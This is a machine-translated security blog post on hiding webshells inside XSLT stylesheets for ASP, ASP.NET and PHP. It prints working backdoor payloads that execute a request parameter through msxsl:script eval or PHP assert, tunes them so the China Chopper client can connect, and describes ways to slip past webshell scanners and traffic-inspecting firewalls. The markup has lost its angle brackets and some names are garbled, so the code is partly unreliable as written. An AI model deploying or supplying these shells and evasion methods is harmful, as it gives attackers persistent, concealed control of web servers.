WebShell series (1) -- XML
I would like to think about it as a series. Although webshell is still a rare practice in all kinds of advanced times. Basically, some new webshells, special exploitation in special environments, and conversion scripts for special webshells are provided with corresponding analysis. Dig a hole first ...... Check the situation.
0x01 xml and xslt
I believe everyone is familiar with xml. xml is widely used in data transmission, storage, and serialization. It is an extremely powerful data format. The power must be accompanied by complexity. xml has developed a series of standards, including DTD, XSD, XDR, XPATH, and XSLT.
XSLT is called the extended style table conversion language. It functions similar to css and converts an xml document to another form through specified rules. The specified rule is described by another xml file, which is generally an xsl suffix. The xsl syntax is relatively complex. For details, refer to the "XSLT reference" section in msdn.
To process the target node, XSLT provides a series of built-in functions for processing XML nodes. The following is a specific conversion example:
xml:xml version="1.0"?>root>123root>xsl:xml version='1.0'?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> xsl:template match="/root"> xsl:value-of select="string(.)"/> xsl:template>xsl:stylesheet>
In the xsl file, the xsl: template node describes the matching rules. The match attribute is an XPATH, indicating the matching xml node. Xsl: value-of describes the conversion rule. The node that matches the previous step is passed as a parameter to the function specified by the select attribute. The parameter. indicates the matched node. Convert the above xml and xsl and output the following results:
Xml version = "1.0" encoding = "UTF-16"?> 123
In some cases, built-in functions cannot meet all requirements. To expand XSLT functions, most XSL converters provide script expansion functions. The scripts vary depending on the converter, and the functions supported are also different. To a certain extent, the security and complexity of an object are inversely proportional. Unexpected exploitation of valid functions is a vulnerability, and malicious exploitation may become a hidden backdoor. The script execution function of XSLT is such a possible backdoor.
0x02 asp and xml
The most common language in asp is vbscript and jscript. You can obtain an xml Parser by creating an MSXML2.DOMDocument COM object. Oleview shows that this object exposes a transformNode Method for XSL conversion:
The calling code is roughly as follows:
set xmldoc= Server.CreateObject("MSXML2.DOMDocument")xmldoc.loadxml(xml)set xsldoc= Server.CreateObject("MSXML2.DOMDocument")xsldoc.loadxml(xslt)response.write xmldoc.TransformNode(xsldoc)
According to msdn, the user-defined function must be located in the msxsl: script element. The following xsl is not difficult to obtain as an example:
xml version='1.0'?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> msxsl:script language="vbscript" implements-prefix="zcg"> msxsl:script> xsl:template match="/root"> xsl:value-of select="zcg:xml(string(.))"/> xsl:template>xsl:stylesheet>
In the second row, xmlns: msxsl is the namespace of the custom function block, and xmlns: zcg is the namespace and prefix of the custom function.
Msxsl in the third row: script declares a script block. The language attribute specifies the script language to be used. implements-prefix corresponds to the prefix of the namespace xmlns: zcg.
In the seventh line, use zcg: xml (string (.)) the user-defined function is called. Because the User-Defined Function can only pass in scalar values such as strings, numbers, dates, and a series of XML objects, the User-Defined Function is first converted to a string through the string built-in function to obtain text, then pass in the function. Similarly, because objects such as Response and Server are built in asp, they cannot be accessed in user-defined functions or transmitted to user-defined functions, all data is transmitted through strings.
The function of the script block is simple execution-return, and its return value replaces the content of the matched node. Therefore, the role of the above xsl is: run the text of the/root node in the specified xml file as a command and return the result.
Convert the following xml and return the result
Xml version = "1.0"?>
Root> cmd/c dirroot>
The command is successfully executed, and the special characters in the result are converted into xml entities, which need further processing.
Finally, in a previous IE vulnerability, the DVE used by foreigners is to call components to execute commands using the above method, so the effect of no killing is not guaranteed.
0x03. net and xml
Xml can be called. one of the core of net, [System. xml] System. xml. xsl. extends compiledtransform class and [System. xml] System. xml. xsl. the transform class provides the XSL conversion function.
Terratransform is an obsolete class. The Calling method is as follows:
XmlDocument xmldoc=new XmlDocument();xmldoc.LoadXml(xml);XmlDocument xsldoc=new XmlDocument();xsldoc.LoadXml(xslt);XslTransform xt = new XslTransform();xt.Load(xsldoc);xt.Transform(xmldoc, null);
Since this class cannot introduce additional assembly, there is no use value.
XslCompiledTransform is a class recommended by Microsoft. Its calling method is roughly the same as that of XslTransform:
XmlDocument xmldoc=new XmlDocument();xmldoc.LoadXml(xml);XmlDocument xsldoc=new XmlDocument();xsldoc.LoadXml(xslt);XslCompiledTransform xct=new XslCompiledTransform();xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());xct.Transform(xmldoc,null,new MemoryStream());
Asp.net provides the static variable [System. Web] System. Web. HttpContext: Current to indicate the Current HTTP request context. Therefore, it does not need to be passed as a string in asp. Construct the following xsl to try:
xml version='1.0'?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> msxsl:script language="JScript" implements-prefix="zcg"> function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');} msxsl:script> xsl:template match="/root"> xsl:value-of select="zcg:xml()"/> xsl:template>xsl:stylesheet>
You can get an error message:
The System. Web. HttpContext. Current. Request. Item type cannot be found. Is the Assembly reference missing?
The Assembly reference is obviously missing. Find the msdn instructions:
By default, the following two sets are referenced:
System. dll
System. Xml. dll
Microsoft. VisualBasic. dll (if the script language is VB)
You can use the msxsl: assembly element to import other assemblies.
Therefore, add the following Assembly necessary for WebShell:
xml version='1.0'?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> msxsl:script language="JScript" implements-prefix="zcg"> msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');} msxsl:script> xsl:template match="/root"> xsl:value-of select="zcg:xml()"/> xsl:template>xsl:stylesheet>
There is no direct access error, but an error occurs when you use a kitchen knife to connect:
The variable "Response" is not declared"
Obviously, Response is directly called in the statement submitted by the kitchen knife. Because the eval context in jscript.net shares the variable with the caller and has the same name, you can manually add the Request, Response, and Server required by the kitchen knife to obtain the following xslt:
xml version='1.0'?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh"> msxsl:script language="JScript" implements-prefix="zcg"> msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/> msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();} msxsl:script> xsl:template match="/root"> xsl:value-of select="zcg:xml()"/> xsl:template>xsl:stylesheet>
In this case, you can use a kitchen knife to connect directly, with the same function as aspx (eval:
Note: The embedded script block of xml requires the FullTrust trust level, which cannot be run in security mode. Of course, the normal aspx in security mode cannot run in one sentence, so it is not a disadvantage.
0x04 php and xml
Search for xsl in the official php document and go directly to the XSLTProcessor class. The registerPHPFunctions method is obvious on the page. The method example is a complete call process, which modifies the function to assert and is slightly simplified. The following xsl can be obtained:
xml version="1.0" encoding="UTF-8"?>xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl"> xsl:template match="/root"> xsl:value-of select="zcg:function('assert',string(.))"/> xsl:template>xsl:stylesheet>
In the second line, http://php.net/?this name space is supported by the region dedicated to php. In the fourth line, the zcg:function ('assert ', string (.) indicates that the text of the matching node is passed as a parameter to the assert function of php.
To avoid xml escaping, perform an assert nesting operation to obtain xml:
Root> assert ($ _ POST [a]); root>
Since php does not have the context concept, all code is executed in the same code space. In xsl, you can directly access GPCS, so you can directly use the kitchen knife to connect:
The same functions are complete.
In the US, this feature is not installed by default. On windows, you need to modify php. ini to enable php_cmd.dll extension; on linux, You need to specify -- with-xsl or install an additional php5-xsl package when compiling. In view of the flexibility of php, this shell is not necessary unless it is concealed.
0x05 summary and others
In the preceding xslt-based webshell, all sensitive calls are stored in xml in the form of strings, avoiding keyword-based webshell scanning and removal. At the same time, because xslt is a normal function, it is impractical to scan and disable methods provided by the xsl converter. For example, the msxml component is used by a large number of systems for remote file downloads or xmlrpc, which is basically impossible to disable. Finally, the interaction between the server and the client is essentially carried out through xml, so it can be disguised as xmlrpc/soap and other protocols. The xml escape can be used to escape sensitive characters into Entity characters, to avoid traffic analysis-based firewalls. For example, replace cmd with the equivalent entity character cmd.
Apart from webshell, xsl conversion also has other possible exploitation points. Xml supports automatic import of xsl. Its syntax is:
Xml-stylesheet type = "text/xsl" href = "http: // host/template. xsl"?>
However, apart from the browser, no parser will automatically parse this preprocessing command, but it is not a test method. If it succeeds, it is likely to be a code execution vulnerability. Some server programs allow the client to submit an xsl for customization. At this time, if a malicious xsl containing embedded scripts is submitted, code execution may also be achieved.